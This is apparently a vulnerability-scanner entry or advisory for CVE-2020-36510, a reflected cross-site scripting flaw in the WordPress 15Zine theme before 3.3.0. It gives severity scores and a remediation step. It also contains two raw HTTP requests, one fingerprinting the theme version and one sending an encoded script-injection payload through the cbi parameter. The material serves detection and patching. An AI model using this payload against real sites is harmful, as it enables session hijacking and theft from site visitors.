| Title | WordPress 15Zine <3.3.0 - Cross-Site Scripting |
|---|---|
| Author | veshraj |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Update WordPress 15Zine to version 3.3.0 or later to mitigate the vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.02579 |
| CVE ID | CVE-2020-36510 |
| CWE ID | CWE-79 |
| Tags | cve2020 cve xss wordpress wp-theme wp wpscan codetipi vuln |
WordPress 15Zine before 3.3.0 is vulnerable to reflected cross-site scripting because the theme does not sanitize the cbi parameter before including it in the HTTP response via the cb_s_a AJAX action.
GET /wp-content/themes/15zine/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.22
Connection: close
Accept-Encoding: gzip
GET /wp-admin/admin-ajax.php?action=cb_s_a&cbi=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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